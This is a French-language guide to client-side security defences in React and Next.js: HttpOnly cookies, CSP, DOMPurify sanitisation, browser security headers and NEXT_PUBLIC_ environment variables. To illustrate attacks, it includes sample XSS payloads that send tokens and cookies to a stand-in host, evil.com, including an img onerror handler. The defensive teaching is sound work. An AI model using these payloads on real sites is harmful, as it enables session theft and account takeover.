Cinq défenses de sécurité côté client dont chaque application React et Next.js a besoin
Pourquoi les applications React et Next.js en production utilisent des cookies HttpOnly, un CSP, DOMPurify, des en-têtes de sécurité et les règles NEXT_PUBLIC_, ainsi quels types d’attaques chacun d’eux bloque.
Il est facile de considérer la sécurité comme une responsabilité du backend, pourtant de nombreuses vulnérabilités graves, allant des sessions volées aux clés API divulguées, ont leur origine dans le code client. Les bases de code React et Next.js en environnement de production contiennent des éléments qui semblent inutiles au premier abord : des cookies HttpOnly, des en-têtes étranges dans next.config.js, le module DOMPurify, des variables NEXT_PUBLIC_, ainsi qu’une politique de sécurité du contenu. Ce guide explique les cinq éléments les plus importants, les attaques qu’ils bloquent et les précautions à respecter pour les appliquer correctement.
1. Éloigner les tokens d’authentification du JavaScript grâce aux cookies HttpOnly
Le stockage des tokens est probablement la décision de sécurité la plus cruciale dans un frontend. Une approche courante consiste à enregistrer le token dans localStorage :
localStorage.setItem("token", token);
et à l’associer manuellement à chaque requête :
fetch("/profile", {
headers: {
Authorization: `Bearer ${token}`,
},
});
Cela fonctionne, mais cela permet à n’importe quel script exécuté sur la page de lire le token.
Comment XSS se transforme en prise de contrôle du compte
Le scripting entre sites (XSS) signifie qu’un attaquant parvient à faire exécuter son JavaScript sur votre site. Un point d’entrée typique est l’affichage d’HTML non fiable, comme un commentaire d’utilisateur :
<div dangerouslySetInnerHTML={{ __html: comment }} />
Si l’attaquant peut faire exécuter le script, lire le jeton ne nécessite qu’une seule ligne de code :
<script>
fetch("evil.com?token=" + localStorage.getItem("token"))
</script>
Stricto sensu, une balise script insérée via innerHTML (utilisé par dangerouslySetInnerHTML) ne s’exécute pas ; les vraies attaques utilisent des charges utiles de gestion d’événements comme celle décrite à la section 3. Quoi qu’il en soit, une fois le script exécuté, localStorage devient entièrement accessible.
Toute personne détenant un jeton porteur peut se connecter sans avoir besoin du mot de passe, accéder au compte, se faire passer pour l’utilisateur, effectuer des transactions ou accéder aux fonctionnalités administratives.
Laissez le navigateur gérer la session
La solution standard consiste à faire en sorte que le serveur génère la session dans un cookie inaccessible aux scripts :
Set-Cookie:
accessToken=abc123;
HttpOnly;
Secure;
SameSite=Strict
Chaque attribut a une fonction spécifique :
HttpOnlycache le cookie du JavaScript : sa lecture depuis un script, comme indiqué ci-dessous, ne permettra pas de l’obtenir.Securerestreint l’utilisation du cookie au protocole HTTPS.SameSite=Strictempêche le navigateur d’envoyer le cookie dans les requêtes provenant d’autres sites, ce qui constitue une protection efficace contre la falsification de requêtes entre sites (CSRF). Le modeStrictsupprime également le cookie lorsque les utilisateurs arrivent via des liens provenant d’autres sites, c’est pourquoi de nombreuses applications choisissentLax.
document.cookie
Il s’agit d’un changement de responsabilité. Auparavant, c’était le frontend qui contrôlait le jeton :
Frontend controls token
Aujourd’hui, c’est le navigateur qui s’en charge :
Browser controls token
Votre code ne génère plus d’en-tête de ce type à chaque appel :
Authorization: Bearer token
car le navigateur ajoute automatiquement le cookie. Les identifiants ne passent jamais par le code de l’application. Pour la partie serveur, consultez notre comparaison des sessions et JWTs dans Node.js.
2. Empêcher l’exécution des scripts injectés grâce à une politique de sécurité du contenu
Une défense souvent négligée est l’en-tête nommé
Content-Security-Policy
que les projets Next.js configurent fréquemment en
next.config.js
Pourquoi les cookies HttpOnly ne suffisent pas
Supposons qu’un attaquant parvienne à injecter un script externe :
<script src="https://evil.com/hack.js"></script>
Par défaut, le navigateur l’exécute. L’attaquant ne peut pas lire le cookie, mais il n’en a pas besoin : le script s’exécute au sein de votre domaine, de sorte que ses requêtes transmettent automatiquement les cookies de l’utilisateur :
fetch("/send-money", {
method: "POST",
body: JSON.stringify({
amount: 50000,
to: "hacker",
}),
});
Le serveur backend perçoit une demande authentifiée et traite le transfert. Ce même point d’entrée permet d’autres attaques :
- Messages de connexion falsifiés. Le script affiche une boîte de dialogue ayant l’air officielle, comme indiqué ci-dessous, et tout ce que l’utilisateur tape est envoyé à l’attaquant.
- Réorientations forcées. Les utilisateurs sont silencieusement dirigés vers un site de phishing qui imite le vôtre.
"Session expired. Enter password again."
Liste blanche pour le code exécutable
Content-Security-Policy:
script-src 'self'
'self' signifie que seuls les scripts provenant de votre propre origine sont autorisés. Lorsque la page rencontre un script provenant d’un autre domaine, comme celui indiqué ci-dessous, le navigateur refuse de l’exécuter :
<script src="evil.com/hack.js"></script>
Dans Next.js, vous pouvez envoyer l’en-tête pour chaque route via headers() dans la configuration :
const nextConfig = {
async headers() {
return [
{
source: "/(.*)",
headers: [
{
key: "Content-Security-Policy",
value: "script-src 'self';",
},
],
},
];
},
};
Considérez ceci comme un point de départ. Une directive simple script-src 'self' bloque également les scripts en ligne que Next.js utilise pour l’hydratation ; par conséquent, une politique stricte nécessite généralement des tokens aléatoires (consultez la documentation actuelle de Next.js pour connaître l’approche via les middleware). Mettez en place d’abord de nouvelles politiques avec Content-Security-Policy-Report-Only.
Deux niveaux, deux objectifs
Les cookies HttpOnly limitent les dommages causés par XSS ; la politique CSP vise à empêcher complètement l’exécution des scripts. Une protection réelle provient de l’utilisation conjointe des deux.
3. Sanitiser le HTML avant d’utiliser dangerouslySetInnerHTML
React ne prévient l’XSS que sur son chemin de rendu par défaut, où le texte interpolé est échappé :
<p>{content}</p>
Ainsi, si l’API renvoie une chaîne de ce type, React la rend comme texte visible plutôt que de l’exécuter :
<script>alert("hacked")</script>
La solution de secours est
dangerouslySetInnerHTML
et React a inclus délibérément ce mot
dangerously
dans son nom.
Lorsque vous avez réellement besoin de HTML brut
Les blogs, les pages CMS, les sorties Markdown et les éditeurs de texte enrichi doivent tous afficher du HTML. Supposons que le backend renvoie :
<h1>Frontend Security</h1>
<p>Learn React Security</p>
En l’affichant via une interpolation normale :
<p>{content}</p>
les balises s’affichent en tant que texte littéral. En passant à la solution de secours, le contenu est correctement formaté :
<div dangerouslySetInnerHTML={{
__html: content
}} />
Cela a l’air correct, mais c’est aussi un point d’injection.
Le chargement qui est effectivement exécuté
Un attaquant soumet un marquage de ce type :
<img src="x"
onerror="
fetch(
'evil.com?data=' + document.cookie
)"
/>
La source de l’image est délibérément invalide, le chargement échoue, et le gestionnaire onerror exécute le JavaScript de l’attaquant.
Nettoyez-la avec DOMPurify
La solution habituelle consiste à nettoyer le contenu avant sa rendu. Installez la bibliothèque :
npm install dompurify
Importez-la :
import DOMPurify from "dompurify";
et nettoyez le contenu avant de le transmettre à React (dans du code réel, l’appel sanitize et le return doivent se trouver sur des lignes distinctes) :
const safeHTML =
DOMPurify.sanitize(content);return (
<div
dangerouslySetInnerHTML={{
__html: safeHTML,
}}
/>
);
DOMPurify supprime les éléments dangereux tels que les éléments script, les gestionnaires d’événements en ligne comme onerror et onclick, les URLs javascript: dans les liens, ainsi que les iframes injectés, ne laissant que du markup sûr. Sur le serveur, il n’y a pas de DOM de navigateur ; par conséquent, le code rendu côté serveur nécessite une implémentation de DOM comme jsdom ou un nettoyage au moment de l’écriture.
Les includes non fiables incluent votre propre backend
N’ayez jamais confiance dans les données entrantes, même celles provenant de votre propre API ; ces données proviennent généralement d’une source moins fiable :
- les utilisateurs finaux
- les panneaux d’administration
- les éditeurs de CMS
- les APIs tierces
- les éditeurs de texte enrichi
4. Les en-têtes de sécurité du navigateur qui comblent les failles discrètes
De nombreuses configurations en production définissent une série d’en-têtes facilement négligés :
X-Frame-Options
Strict-Transport-Security
X-Content-Type-Options
Chacun d’eux bloque un type d’attaque différent.
X-Frame-Options contre le clickjacking
Un attaquant crée une page sur son propre domaine :
evil.com
et charge votre site à l’intérieur d’un iframe invisible par-dessus. L’utilisateur croit qu’il clique
Claim Prize
mais le clic atteint en réalité votre vrai bouton en dessous :
Transfer ₹50,000
C’est ce qu’on appelle le clickjacking. La solution consiste à interdire le framing :
X-Frame-Options: DENY
Le navigateur refuse alors de mettre vos pages dans un cadre. L’équivalent moderne du CSP est frame-ancestors 'none' ; en définissant les deux, on couvre également les anciens navigateurs.
Strict-Transport-Security pour forcer HTTPS
Sur des réseaux non fiables tels que le Wi-Fi public, le trafic HTTP brut peut être intercepté, exposant des mots de passe, des données de session, des codes uniques et d’autres informations privées. HSTS indique au navigateur d’utiliser uniquement HTTPS :
Strict-Transport-Security:
max-age=31536000
Dès qu’un navigateur a vu cette en-tête, même une adresse saisie manuellement comme
http://example.com
est automatiquement mise à niveau en
https://example.com
avant que toute demande ne quitte l’appareil. La valeur de max-age est d’un an. Le navigateur ne prend connaissance de cette règle que via HTTPS, donc une première visite reste non protégée à moins que le domaine ne soit préchargé.
X-Content-Type-Options pour lutter contre le sniffing MIME
Historiquement, les navigateurs ont tenté de deviner le véritable type d’un fichier. Si le serveur déclare
Content-Type: image/jpeg
mais que le fichier contient en réalité du code script, un navigateur qui effectue des analyses peut le traiter comme exécutable. Désactiver ce comportement passe par une en-tête :
X-Content-Type-Options:
nosniff
Celui-ci indique au navigateur de faire confiance au Content-Type déclaré et d’arrêter de deviner.
Définition des trois en-têtes dans Next.js
const nextConfig = {
async headers() {
return [
{
source: "/(.*)",
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key:
"Strict-Transport-Security",
value:
"max-age=31536000",
},
{
key:
"X-Content-Type-Options",
value: "nosniff",
},
],
},
];
},
};
Ces en-têtes coûtent presque rien et éliminent toute une catégorie d’attaques.
5. Séparer les secrets du serveur des variables d’environnement visibles par le navigateur
Ne pas mettre les fichiers .env dans Git ne rend pas les secrets sécurisés. Ce qui compte, c’est ce qui finit dans le bundle JavaScript.
Comment les secrets parviennent au bundle
Prenons une variable comme celle-ci :
SECRET_KEY=abc123
référencée depuis du code côté client :
console.log(
process.env.SECRET_KEY
);
Lorsqu’un outil de compilation insère des variables d’environnement au moment de la construction, le code généré contient leur valeur littérale :
console.log("abc123");
N’importe qui peut la lire dans les outils de développement. Next.js prévient ce cas accidentel : les variables qui ne possèdent pas le préfixe NEXT_PUBLIC_ ne sont pas insérées dans le code du navigateur et y sont considérées comme undefined. Des fuites de données surviennent lorsque des informations secrètes reçoivent ce préfixe public pour masquer une erreur, ou lorsque un composant serveur les transmet à un composant client en tant que propriété.
Le contrat NEXT_PUBLIC_
Seules les variables dont le nom commence par
NEXT_PUBLIC_
sont intégrées dans la version destinée au navigateur. Une telle valeur peut être exposée sans problème :
NEXT_PUBLIC_API_URL=
https://api.com
et peut être lue dans le code client comme suit :
process.env
.NEXT_PUBLIC_API_URL
car une URL API est de toute façon publique.
Ce qui ne doit jamais être public
Ces éléments doivent rester uniquement sur le serveur :
JWT_SECRET
DATABASE_URL
AWS_SECRET
STRIPE_SECRET_KEY
PRIVATE_KEYS
Une configuration de production typique
Le répertoire ne contient aucun fichier .env, car ce dernier est listé dans .gitignore:
.env
Les valeurs réelles sont injectées par le système CI/CD ou la plateforme d’hébergement au moment de la compilation ou du déploiement. Seules les valeurs NEXT_PUBLIC_ atteignent le bundle du navigateur ; tout le reste reste sur le serveur.
Règle à retenir : si le navigateur peut accéder à une valeur, elle est publique. Aucun secret frontend n’est vraiment secret.
Points clés
La sécurité du frontend consiste à réduire progressivement la surface d’attaque et à rendre l’exploitation plus difficile, couche par couche.
- Cookies HttpOnly empêchent les scripts injectés d’accéder aux tokens de session.
- Une politique de sécurité du contenu empêche l’exécution de scripts non autorisés, mais nécessite des tokens aléatoires pour coexister avec les scripts inline de Next.js.
dangerouslySetInnerHTML sûr pour du contenu que vous n’avez pas écrit.NEXT_PUBLIC_ détermine ce qui est envoyé au navigateur, il faut donc considérer ce préfixe comme une décision de publication.Connaître les attaques que chaque mécanisme empêche vous permet de le configurer correctement et de détecter rapidement son absence.